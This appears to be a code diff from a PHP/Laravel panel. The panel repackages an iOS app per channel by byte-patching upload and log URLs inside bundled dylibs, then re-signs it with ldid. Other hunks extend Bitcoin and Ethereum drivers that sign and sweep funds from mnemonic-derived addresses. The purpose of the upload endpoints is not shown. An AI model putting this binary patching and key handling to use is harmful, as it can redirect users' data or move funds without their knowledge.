$this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
|
||||
|
||||
// 5. Patch libmcmlease.dylib (domain)
|
||||
$this->patchLibmcmlease($appDir, $apiDomain);
|
||||
|
||||
// 6. Sign (ldid if available, skip otherwise)
|
||||
$this->sign($appDir);
|
||||
|
||||
// 7. Package IPA
|
||||
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
||||
$outputFull = public_path($outputPath);
|
||||
@mkdir(dirname($outputFull), 0755, true);
|
||||
|
||||
$outZip = new \ZipArchive;
|
||||
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
||||
throw new RuntimeException('Cannot create output IPA');
|
||||
}
|
||||
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
||||
$outZip->close();
|
||||
|
||||
$size = filesize($outputFull);
|
||||
|
||||
// Cleanup
|
||||
$this->rrmdir($workDir);
|
||||
|
||||
return [
|
||||
'success' => true,
|
||||
'path' => '/'.$outputPath,
|
||||
'size' => $size,
|
||||
'error' => '',
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
$this->rrmdir($workDir);
|
||||
Log::error('AppPackageService: build failed', [
|
||||
'channel' => $channel->channel_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
return [
|
||||
'success' => false,
|
||||
'path' => '',
|
||||
'size' => 0,
|
||||
'error' => $e->getMessage(),
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
private function patchInfoPlist(string $appDir, Channel $channel, string $apiDomain): void
|
||||
{
|
||||
$plistPath = $appDir.'/Info.plist';
|
||||
$xml = file_get_contents($plistPath);
|
||||
|
||||
// Replace display name
|
||||
$xml = preg_replace(
|
||||
'#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
|
||||
'<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
|
||||
$xml,
|
||||
);
|
||||
|
||||
// Replace bundle identifier
|
||||
if ($channel->bundle_id) {
|
||||
$xml = preg_replace(
|
||||
'#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
|
||||
'<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
|
||||
$xml,
|
||||
);
|
||||
}
|
||||
|
||||
// Replace CFBundleName (short name)
|
||||
$xml = preg_replace(
|
||||
'#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
|
||||
'<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
|
||||
$xml,
|
||||
);
|
||||
|
||||
// Replace ShellConfigEndpoint (config API URL)
|
||||
$configEndpoint = 'https://'.$apiDomain.'/api/ap/config?a='.$channel->channel_id;
|
||||
$xml = preg_replace(
|
||||
'#<key>ShellConfigEndpoint</key>\s*<string>[^<]*</string>#',
|
||||
'<key>ShellConfigEndpoint</key><string>'.htmlspecialchars($configEndpoint).'</string>',
|
||||
$xml,
|
||||
);
|
||||
|
||||
// Replace ShellWebsiteURL (fallback WebView URL)
|
||||
if ($channel->h5_url) {
|
||||
$xml = preg_replace(
|
||||
'#<key>ShellWebsiteURL</key>\s*<string>[^<]*</string>#',
|
||||
'<key>ShellWebsiteURL</key><string>'.htmlspecialchars($channel->h5_url).'</string>',
|
||||
$xml,
|
||||
);
|
||||
}
|
||||
|
||||
file_put_contents($plistPath, $xml);
|
||||
}
|
||||
|
||||
private function generateIcons(string $appDir, string $logoPath): void
|
||||
{
|
||||
if (! function_exists('imagecreatefrompng')) {
|
||||
// GD not available, copy logo as-is for main icon only
|
||||
copy($logoPath, $appDir.'/Icon-60@3x.png');
|
||||
return;
|
||||
}
|
||||
|
||||
$src = imagecreatefrompng($logoPath);
|
||||
if ($src === false) {
|
||||
return;
|
||||
}
|
||||
|
||||
$srcW = imagesx($src);
|
||||
$srcH = imagesy($src);
|
||||
|
||||
foreach (self::ICON_SIZES as $filename => $size) {
|
||||
$dst = imagecreatetruecolor($size, $size);
|
||||
// Transparent background
|
||||
imagesavealpha($dst, true);
|
||||
$trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
|
||||
imagefill($dst, 0, 0, $trans);
|
||||
|
||||
// Resize (maintain aspect, crop center square)
|
||||
$minSide = min($srcW, $srcH);
|
||||
$srcX = ($srcW - $minSide) / 2;
|
||||
$srcY = ($srcH - $minSide) / 2;
|
||||
imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
|
||||
|
||||
imagepng($dst, $appDir.'/'.$filename, 6);
|
||||
imagedestroy($dst);
|
||||
}
|
||||
imagedestroy($src);
|
||||
}
|
||||
|
||||
private function patchLibroute(string $appDir, string $domain, string $channelId): void
|
||||
{
|
||||
$path = $appDir.'/Frameworks/libroute.dylib';
|
||||
if (! file_exists($path)) {
|
||||
throw new RuntimeException('libroute.dylib not found');
|
||||
}
|
||||
|
||||
$data = file_get_contents($path);
|
||||
$origSize = strlen($data);
|
||||
|
||||
// Helper: in-place string replacement (preserves file size)
|
||||
$replaceInPlace = function (string &$data, string $old, string $new): bool {
|
||||
$idx = strpos($data, $old);
|
||||
if ($idx === false) {
|
||||
return false;
|
||||
}
|
||||
// New must be <= old length
|
||||
if (strlen($new) > strlen($old)) {
|
||||
return false;
|
||||
}
|
||||
// Write new bytes
|
||||
for ($i = 0; $i < strlen($new); $i++) {
|
||||
$data[$idx + $i] = $new[$i];
|
||||
}
|
||||
// Null-terminate
|
||||
$data[$idx + strlen($new)] = "\x00";
|
||||
// Clear remaining old bytes
|
||||
for ($i = strlen($new) + 1; $i < strlen($old) + 1; $i++) {
|
||||
$data[$idx + $i] = "\x00";
|
||||
}
|
||||
return true;
|
||||
};
|
||||
|
||||
$domain = substr($domain, 0, strlen('shenma.my')); // max 9 chars
|
||||
$channelId = substr($channelId, 0, strlen('a119f32b4955')); // max 12 chars
|
||||
// Pad with '0' if shorter
|
||||
$channelId = str_pad($channelId, strlen('a119f32b4955'), '0');
|
||||
|
||||
// 1. Replace upload URL (in-place, same total length guaranteed)
|
||||
$oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
|
||||
$newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
|
||||
// Ensure same length by adjusting path if needed
|
||||
if (strlen($newUpload) > strlen($oldUpload)) {
|
||||
// Shrink path: /api/ap/upload → /api/ap/u
|
||||
$newUpload = "https://{$domain}/api/ap/u?a={$channelId}&";
|
||||
}
|
||||
if (strlen($newUpload) > strlen($oldUpload)) {
|
||||
throw new RuntimeException('New upload URL exceeds binary space');
|
||||
}
|
||||
// Pad with trailing null bytes to match old length exactly
|
||||
$newUploadPadded = $newUpload.str_repeat("\x00", strlen($oldUpload) - strlen($newUpload));
|
||||
$idx = strpos($data, $oldUpload);
|
||||
if ($idx !== false) {
|
||||
for ($i = 0; $i < strlen($oldUpload); $i++) {
|
||||
$data[$idx + $i] = $i < strlen($newUploadPadded) ? $newUploadPadded[$i] : "\x00";
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Replace log upload URL (in-place)
|
||||
$oldLog = 'https://shenma.my/upload.php?name=';
|
||||
$newLog = "https://{$domain}/api/ap/lg?n=";
|
||||
if (strlen($newLog) <= strlen($oldLog)) {
|
||||
$newLogPadded = $newLog.str_repeat("\x00", strlen($oldLog) - strlen($newLog));
|
||||
$idx = strpos($data, $oldLog);
|
||||
if ($idx !== false) {
|
||||
for ($i = 0; $i < strlen($oldLog); $i++) {
|
||||
$data[$idx + $i] = $i < strlen($newLogPadded) ? $newLogPadded[$i] : "\x00";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Replace config path (in-place, pad with nulls)
|
||||
$oldConfig = '/api/ios-shell';
|
||||
$newConfig = '/api/ap';
|
||||
$newConfigPadded = $newConfig.str_repeat("\x00", strlen($oldConfig) - strlen($newConfig));
|
||||
$idx = strpos($data, $oldConfig);
|
||||
if ($idx !== false) {
|
||||
for ($i = 0; $i < strlen($oldConfig); $i++) {
|
||||
$data[$idx + $i] = $i < strlen($newConfigPadded) ? $newConfigPadded[$i] : "\x00";
|
||||
}
|
||||
}
|
||||
|
||||
// 4. Replace any remaining shenma.my (equal length: shenma.my = 9)
|
||||
if (strlen($domain) === 9) {
|
||||
$data = str_replace('shenma.my', $domain, $data);
|
||||
}
|
||||
|
||||
// Verify file size unchanged
|
||||
if (strlen($data) !== $origSize) {
|
||||
throw new RuntimeException('Binary size changed! orig='.$origSize.' new='.strlen($data));
|
||||
}
|
||||
|
||||
file_put_contents($path, $data);
|
||||
}
|
||||
|
||||
private function patchLibmcmlease(string $appDir, string $domain): void
|
||||
{
|
||||
$path = $appDir.'/Frameworks/libmcmlease.dylib';
|
||||
if (! file_exists($path)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$data = file_get_contents($path);
|
||||
// Equal-length domain replacement
|
||||
if (strlen($domain) === 9) { // same as shenma.my
|
||||
$data = str_replace('shenma.my', $domain, $data);
|
||||
}
|
||||
file_put_contents($path, $data);
|
||||
}
|
||||
|
||||
private function sign(string $appDir): void
|
||||
{
|
||||
// Remove old signatures (plain filesystem ops, no shell needed)
|
||||
$csDir = $appDir.'/_CodeSignature';
|
||||
if (is_dir($csDir)) {
|
||||
$this->rrmdir($csDir);
|
||||
}
|
||||
|
||||
// Do not file_exists() the binary: panel open_basedir is
|
||||
// project + /tmp, so /usr/bin/ldid throws ErrorException.
|
||||
// proc_open (Process::run) can still execute it.
|
||||
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
||||
if ($ldidPath === '') {
|
||||
Log::warning('AppPackageService: ldid path empty, IPA will be unsigned');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$binaries = array_merge(
|
||||
[$appDir.'/SignalShell'],
|
||||
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||||
glob($appDir.'/*.dylib') ?: [],
|
||||
);
|
||||
|
||||
foreach ($binaries as $bin) {
|
||||
if (! is_string($bin) || $bin === '' || ! is_file($bin)) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
$result = Process::run([$ldidPath, '-S', $bin]);
|
||||
if (! $result->successful()) {
|
||||
Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
|
||||
'error' => $result->errorOutput() ?: $result->output(),
|
||||
]);
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
||||
{
|
||||
$items = scandir($dir);
|
||||
foreach ($items as $item) {
|
||||
if ($item === '.' || $item === '..') {
|
||||
continue;
|
||||
}
|
||||
$path = $dir.'/'.$item;
|
||||
$zipPath = $prefix.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$zip->addEmptyDir($zipPath);
|
||||
$this->addDirToZip($zip, $path, $zipPath);
|
||||
} else {
|
||||
$zip->addFile($path, $zipPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function rrmdir(string $dir): void
|
||||
{
|
||||
if (! is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
$items = scandir($dir);
|
||||
foreach ($items as $item) {
|
||||
if ($item === '.' || $item === '..') {
|
||||
continue;
|
||||
}
|
||||
$path = $dir.'/'.$item;
|
||||
if (is_dir($path)) {
|
||||
$this->rrmdir($path);
|
||||
} else {
|
||||
@unlink($path);
|
||||
}
|
||||
}
|
||||
@rmdir($dir);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -44,7 +44,7 @@ class AutoTransferService
|
||||
foreach ($this->candidates() as $address) {
|
||||
$stats['inspected']++;
|
||||
if ($async) {
|
||||
AutoTransferAddress::dispatch($address->id, 'cron');
|
||||
AutoTransferAddress::dispatch($address->id, 'cron')->onQueue('transfer');
|
||||
$stats['queued']++;
|
||||
|
||||
continue;
|
||||
|
||||
@@ -92,6 +92,10 @@ final class BtcAddress
|
||||
if ($ver === 0 && strlen($prog) === 32) {
|
||||
return ['type' => 'p2wsh', 'script' => '0020'.bin2hex($prog)];
|
||||
}
|
||||
if ($ver === 1 && strlen($prog) === 32) {
|
||||
// Taproot (BIP341): OP_1 <32>
|
||||
return ['type' => 'p2tr', 'script' => '5120'.bin2hex($prog)];
|
||||
}
|
||||
throw new RuntimeException('Unsupported bech32 witness program');
|
||||
}
|
||||
|
||||
@@ -163,7 +167,8 @@ final class BtcAddress
|
||||
if (count($values) < 7) {
|
||||
throw new RuntimeException('Invalid bech32 length');
|
||||
}
|
||||
if (! self::bech32Verify($hrp, $values)) {
|
||||
$spec = self::bech32Verify($hrp, $values);
|
||||
if ($spec === null) {
|
||||
throw new RuntimeException('Invalid bech32 checksum');
|
||||
}
|
||||
$values = array_slice($values, 0, -6);
|
||||
@@ -171,6 +176,13 @@ final class BtcAddress
|
||||
if ($version > 16) {
|
||||
throw new RuntimeException('Invalid witness version');
|
||||
}
|
||||
// BIP350: witness v0 must use bech32, v1+ must use bech32m.
|
||||
if ($version === 0 && $spec !== 'bech32') {
|
||||
throw new RuntimeException('Invalid bech32 checksum (v0 must be bech32)');
|
||||
}
|
||||
if ($version !== 0 && $spec !== 'bech32m') {
|
||||
throw new RuntimeException('Invalid bech32m checksum (v1+ must be bech32m)');
|
||||
}
|
||||
$program = self::convertBits(array_slice($values, 1), 5, 8, false);
|
||||
if ($program === null) {
|
||||
throw new RuntimeException('Invalid witness program');
|
||||
@@ -206,7 +218,7 @@ final class BtcAddress
|
||||
for ($i = 0; $i < strlen($bits); $i += 5) {
|
||||
$values[] = bindec(substr($bits, $i, 5));
|
||||
}
|
||||
$values = array_merge($values, self::bech32Checksum($hrp, $values));
|
||||
$values = array_merge($values, self::bech32Checksum($hrp, $values, $witver));
|
||||
$result = $hrp.'1';
|
||||
foreach ($values as $v) {
|
||||
$result .= $charset[$v];
|
||||
@@ -216,14 +228,16 @@ final class BtcAddress
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Checksum(string $hrp, array $values): array
|
||||
private static function bech32Checksum(string $hrp, array $values, int $witver): array
|
||||
{
|
||||
// BIP350: v0 uses bech32 const (1), v1+ uses bech32m const (0x2bc830a3).
|
||||
$const = $witver === 0 ? 1 : 0x2bc830a3;
|
||||
$polymod = self::bech32Polymod(array_merge(
|
||||
self::bech32HrpExpand($hrp),
|
||||
$values,
|
||||
[0, 0, 0, 0, 0, 0],
|
||||
));
|
||||
$polymod ^= 1;
|
||||
$polymod ^= $const;
|
||||
$ret = [];
|
||||
for ($i = 0; $i < 6; $i++) {
|
||||
$ret[] = ($polymod >> 5 * (5 - $i)) & 31;
|
||||
@@ -232,10 +246,23 @@ final class BtcAddress
|
||||
return $ret;
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Verify(string $hrp, array $values): bool
|
||||
/**
|
||||
* Detect bech32/bech32m encoding from the checksum (BIP173 / BIP350).
|
||||
*
|
||||
* @param list<int> $values
|
||||
* @return string|null 'bech32' (v0) | 'bech32m' (v1+) | null (invalid)
|
||||
*/
|
||||
private static function bech32Verify(string $hrp, array $values): ?string
|
||||
{
|
||||
return self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values)) === 1;
|
||||
$polymod = self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values));
|
||||
if ($polymod === 1) {
|
||||
return 'bech32';
|
||||
}
|
||||
if ($polymod === 0x2bc830a3) {
|
||||
return 'bech32m';
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/** @return list<int> */
|
||||
|
||||
@@ -33,14 +33,31 @@ class BtcDriver implements ChainDriver
|
||||
return BtcAddress::p2wpkhFromCompressedPublicKey($compressed);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid BTC address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = BtcAddress::fromPrivateKey($derived['private_key']);
|
||||
// Resolve the from-address type. Default to legacy P2PKH (BIP44) when no
|
||||
// from address is supplied, preserving the original behaviour.
|
||||
$fromType = $from === null ? 'p2pkh' : $this->fromType($from);
|
||||
$segwit = $fromType === 'p2wpkh';
|
||||
|
||||
$derived = Bip44::derive(
|
||||
$mnemonic,
|
||||
$segwit ? $this->pathBip84($index) : $this->path($index),
|
||||
);
|
||||
$compressed = BtcAddress::compressedPublicKey($derived['private_key']);
|
||||
$derivedFrom = $segwit
|
||||
? BtcAddress::p2wpkhFromCompressedPublicKey($compressed)
|
||||
: BtcAddress::p2pkhFromCompressedPublicKey($compressed);
|
||||
|
||||
if ($from !== null && $from !== $derivedFrom) {
|
||||
throw new RuntimeException('BTC from address does not match derived key');
|
||||
}
|
||||
$from = $derivedFrom;
|
||||
|
||||
$amountSats = $this->toSats($amount);
|
||||
|
||||
$utxos = $this->fetchUtxos($from);
|
||||
@@ -57,17 +74,17 @@ class BtcDriver implements ChainDriver
|
||||
foreach ($utxos as $utxo) {
|
||||
$selected[] = $utxo;
|
||||
$totalIn = bcadd($totalIn, (string) $utxo['value'], 0);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate, $segwit);
|
||||
if (bccomp($totalIn, bcadd($target, (string) $fee, 0), 0) >= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate, $segwit);
|
||||
$needed = bcadd($target, (string) $fee, 0);
|
||||
if (bccomp($totalIn, $needed, 0) < 0) {
|
||||
// Try with single output (no change) — dust change becomes fee.
|
||||
$fee1 = $this->estimateFee(count($selected), 1, $feeRate);
|
||||
$fee1 = $this->estimateFee(count($selected), 1, $feeRate, $segwit);
|
||||
$needed1 = bcadd($target, (string) $fee1, 0);
|
||||
if (bccomp($totalIn, $needed1, 0) < 0) {
|
||||
throw new RuntimeException('Insufficient BTC balance for amount+fee');
|
||||
@@ -90,7 +107,13 @@ class BtcDriver implements ChainDriver
|
||||
$outputs[] = ['script' => $changeScript, 'value' => $change];
|
||||
}
|
||||
|
||||
$raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
|
||||
if ($segwit) {
|
||||
$keyhash = bin2hex(hash('ripemd160', hash('sha256', hex2bin($compressed), true), true));
|
||||
$raw = $this->buildAndSignSegwit($selected, $outputs, $derived['private_key'], $keyhash);
|
||||
} else {
|
||||
$raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
|
||||
}
|
||||
|
||||
$txid = $this->broadcast($raw);
|
||||
if ($txid === '') {
|
||||
throw new RuntimeException('BTC broadcast failed');
|
||||
@@ -99,6 +122,40 @@ class BtcDriver implements ChainDriver
|
||||
return $txid;
|
||||
}
|
||||
|
||||
/**
|
||||
* Classify a BTC from-address for spending. Only single-key P2PKH and
|
||||
* P2WPKH are spendable here; P2SH/P2WSH/P2TR are rejected explicitly.
|
||||
*
|
||||
* @return string 'p2pkh' | 'p2wpkh'
|
||||
*/
|
||||
private function fromType(string $from): string
|
||||
{
|
||||
$from = trim($from);
|
||||
if (preg_match('/^bc1/i', $from)) {
|
||||
$d = BtcAddress::decodeBech32($from);
|
||||
if ($d['version'] === 0 && strlen($d['program']) === 20) {
|
||||
return 'p2wpkh';
|
||||
}
|
||||
if ($d['version'] === 1 && strlen($d['program']) === 32) {
|
||||
throw new RuntimeException('Spending from Taproot (P2TR) is not supported yet');
|
||||
}
|
||||
if ($d['version'] === 0 && strlen($d['program']) === 32) {
|
||||
throw new RuntimeException('Spending from P2WSH is not supported');
|
||||
}
|
||||
throw new RuntimeException('Unsupported SegWit from address');
|
||||
}
|
||||
|
||||
$hex = TronAddress::base58CheckToHex($from);
|
||||
$ver = substr($hex, 0, 2);
|
||||
if ($ver === '00') {
|
||||
return 'p2pkh';
|
||||
}
|
||||
if ($ver === '05') {
|
||||
throw new RuntimeException('Spending from P2SH is not supported');
|
||||
}
|
||||
throw new RuntimeException('Unsupported BTC from address');
|
||||
}
|
||||
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
||||
{
|
||||
throw new RuntimeException('BTC does not support token transfers');
|
||||
@@ -286,10 +343,13 @@ class BtcDriver implements ChainDriver
|
||||
return 10;
|
||||
}
|
||||
|
||||
private function estimateFee(int $inputs, int $outputs, int $satPerVbyte): int
|
||||
private function estimateFee(int $inputs, int $outputs, int $satPerVbyte, bool $segwit = false): int
|
||||
{
|
||||
// Legacy P2PKH approx: 10 + 148*in + 34*out
|
||||
$vsize = 10 + (148 * $inputs) + (34 * $outputs);
|
||||
// P2WPKH approx (vsize): 11 + 68*in + 43*out (43 covers P2TR outputs; overestimates slightly, safe)
|
||||
$vsize = $segwit
|
||||
? 11 + (68 * $inputs) + (43 * $outputs)
|
||||
: 10 + (148 * $inputs) + (34 * $outputs);
|
||||
|
||||
return max(1, $vsize * max(1, $satPerVbyte));
|
||||
}
|
||||
@@ -352,6 +412,108 @@ class BtcDriver implements ChainDriver
|
||||
return bin2hex($version.$vinCount.$signedVins.$voutCount.$voutPayload.$locktime);
|
||||
}
|
||||
|
||||
/**
|
||||
* Build and sign a SegWit transaction spending P2WPKH inputs (BIP143).
|
||||
*
|
||||
* @param list<array{txid: string, vout: int, value: int, scriptpubkey: string}> $inputs
|
||||
* @param list<array{script: string, value: string}> $outputs
|
||||
* @param string $privateKeyHex hex private key for the P2WPKH keypair
|
||||
* @param string $keyhashHex 20-byte hash160 of the compressed pubkey (hex)
|
||||
*/
|
||||
private function buildAndSignSegwit(array $inputs, array $outputs, string $privateKeyHex, string $keyhashHex): string
|
||||
{
|
||||
$version = $this->u32le(1);
|
||||
$locktime = $this->u32le(0);
|
||||
$marker = "\x00";
|
||||
$flag = "\x01";
|
||||
|
||||
$voutCount = $this->varInt(count($outputs));
|
||||
$voutPayload = '';
|
||||
foreach ($outputs as $out) {
|
||||
$voutPayload .= $this->u64le($out['value']);
|
||||
$script = hex2bin($out['script']);
|
||||
if ($script === false) {
|
||||
throw new RuntimeException('Invalid output script');
|
||||
}
|
||||
$voutPayload .= $this->varInt(strlen($script)).$script;
|
||||
}
|
||||
|
||||
$pub = hex2bin(BtcAddress::compressedPublicKey($privateKeyHex));
|
||||
if ($pub === false) {
|
||||
throw new RuntimeException('Invalid public key');
|
||||
}
|
||||
|
||||
$witnesses = '';
|
||||
$vinPayload = '';
|
||||
foreach ($inputs as $i => $in) {
|
||||
$hash = $this->segwitSighashAll($inputs, $outputs, $i, $keyhashHex);
|
||||
|
||||
$der = $this->signDer($privateKeyHex, $hash)."\x01"; // SIGHASH_ALL
|
||||
$witness = $this->varInt(2) // 2 stack items: <sig> <pubkey>
|
||||
.$this->pushData($der)
|
||||
.$this->pushData($pub);
|
||||
$witnesses .= $witness;
|
||||
|
||||
$vinPayload .= $this->outpoint($in['txid'], $in['vout']);
|
||||
$vinPayload .= $this->varInt(0); // empty scriptSig for native SegWit
|
||||
$vinPayload .= $this->u32le(0xffffffff);
|
||||
}
|
||||
|
||||
$vinCount = $this->varInt(count($inputs));
|
||||
|
||||
return bin2hex($version.$marker.$flag.$vinCount.$vinPayload.$voutCount.$voutPayload.$witnesses.$locktime);
|
||||
}
|
||||
|
||||
/**
|
||||
* BIP143 SIGHASH_ALL sighash for a P2WPKH input (32-byte raw binary).
|
||||
*
|
||||
* @param list<array{txid: string, vout: int, value: int, scriptpubkey: string}> $inputs
|
||||
* @param list<array{script: string, value: string}> $outputs
|
||||
*/
|
||||
private function segwitSighashAll(array $inputs, array $outputs, int $inputIndex, string $keyhashHex): string
|
||||
{
|
||||
$version = $this->u32le(1);
|
||||
$locktime = $this->u32le(0);
|
||||
|
||||
$prevouts = '';
|
||||
$sequences = '';
|
||||
foreach ($inputs as $in) {
|
||||
$prevouts .= $this->outpoint($in['txid'], $in['vout']);
|
||||
$sequences .= $this->u32le(0xffffffff);
|
||||
}
|
||||
$hashPrevouts = hash('sha256', hash('sha256', $prevouts, true), true);
|
||||
$hashSequence = hash('sha256', hash('sha256', $sequences, true), true);
|
||||
|
||||
$hashOutputsData = '';
|
||||
foreach ($outputs as $out) {
|
||||
$script = hex2bin($out['script']);
|
||||
if ($script === false) {
|
||||
throw new RuntimeException('Invalid output script');
|
||||
}
|
||||
$hashOutputsData .= $this->u64le($out['value']).$this->varInt(strlen($script)).$script;
|
||||
}
|
||||
$hashOutputs = hash('sha256', hash('sha256', $hashOutputsData, true), true);
|
||||
|
||||
$scriptCode = hex2bin('1976a914'.$keyhashHex.'88ac');
|
||||
if ($scriptCode === false) {
|
||||
throw new RuntimeException('Invalid P2WPKH scriptCode');
|
||||
}
|
||||
$in = $inputs[$inputIndex];
|
||||
|
||||
$preimage = $version
|
||||
.$hashPrevouts
|
||||
.$hashSequence
|
||||
.$this->outpoint($in['txid'], $in['vout'])
|
||||
.$this->varInt(strlen($scriptCode)).$scriptCode
|
||||
.$this->u64le((string) $in['value'])
|
||||
.$this->u32le(0xffffffff)
|
||||
.$hashOutputs
|
||||
.$locktime
|
||||
.$this->u32le(1); // SIGHASH_ALL
|
||||
|
||||
return hash('sha256', hash('sha256', $preimage, true), true);
|
||||
}
|
||||
|
||||
private function signDer(string $privateKey, string $hash32): string
|
||||
{
|
||||
$ec = new EC('secp256k1');
|
||||
@@ -491,6 +653,6 @@ class BtcDriver implements ChainDriver
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
return Http::timeout(30)->acceptJson();
|
||||
return ChainHttpTimeout::apply(Http::timeout(30)->acceptJson());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@ interface ChainDriver
|
||||
/**
|
||||
* @return string txid
|
||||
*/
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string;
|
||||
|
||||
/**
|
||||
* @return string txid
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Illuminate\Http\Client\PendingRequest;
|
||||
|
||||
/**
|
||||
* Optional shorter HTTP timeout for a block of chain calls.
|
||||
* Drivers opt in via apply(); transfers keep their own defaults.
|
||||
*/
|
||||
final class ChainHttpTimeout
|
||||
{
|
||||
private static ?int $seconds = null;
|
||||
|
||||
public static function active(): bool
|
||||
{
|
||||
return self::$seconds !== null;
|
||||
}
|
||||
|
||||
public static function using(int $seconds, callable $callback): mixed
|
||||
{
|
||||
$previous = self::$seconds;
|
||||
self::$seconds = max(1, $seconds);
|
||||
try {
|
||||
return $callback();
|
||||
} finally {
|
||||
self::$seconds = $previous;
|
||||
}
|
||||
}
|
||||
|
||||
public static function apply(PendingRequest $request): PendingRequest
|
||||
{
|
||||
if (self::$seconds === null) {
|
||||
return $request;
|
||||
}
|
||||
|
||||
return $request->connectTimeout(min(3, self::$seconds))->timeout(self::$seconds);
|
||||
}
|
||||
}
|
||||
@@ -20,7 +20,7 @@ class EthDriver implements ChainDriver
|
||||
return EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid ETH address');
|
||||
@@ -64,7 +64,10 @@ class EthDriver implements ChainDriver
|
||||
if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
// fall through to balances
|
||||
}
|
||||
|
||||
@@ -72,7 +75,10 @@ class EthDriver implements ChainDriver
|
||||
if (bccomp($this->getNativeBalance($address), '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
// fall through to token
|
||||
}
|
||||
|
||||
@@ -82,7 +88,11 @@ class EthDriver implements ChainDriver
|
||||
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -270,6 +280,6 @@ class EthDriver implements ChainDriver
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
return Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson();
|
||||
return ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -48,8 +48,20 @@ final class EthSigner
|
||||
$key = $ec->keyFromPrivate($privateKeyHex);
|
||||
$sig = $key->sign($hash, ['canonical' => true]);
|
||||
|
||||
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
// Encode r/s as canonical big-endian integers (minimal bytes, no leading
|
||||
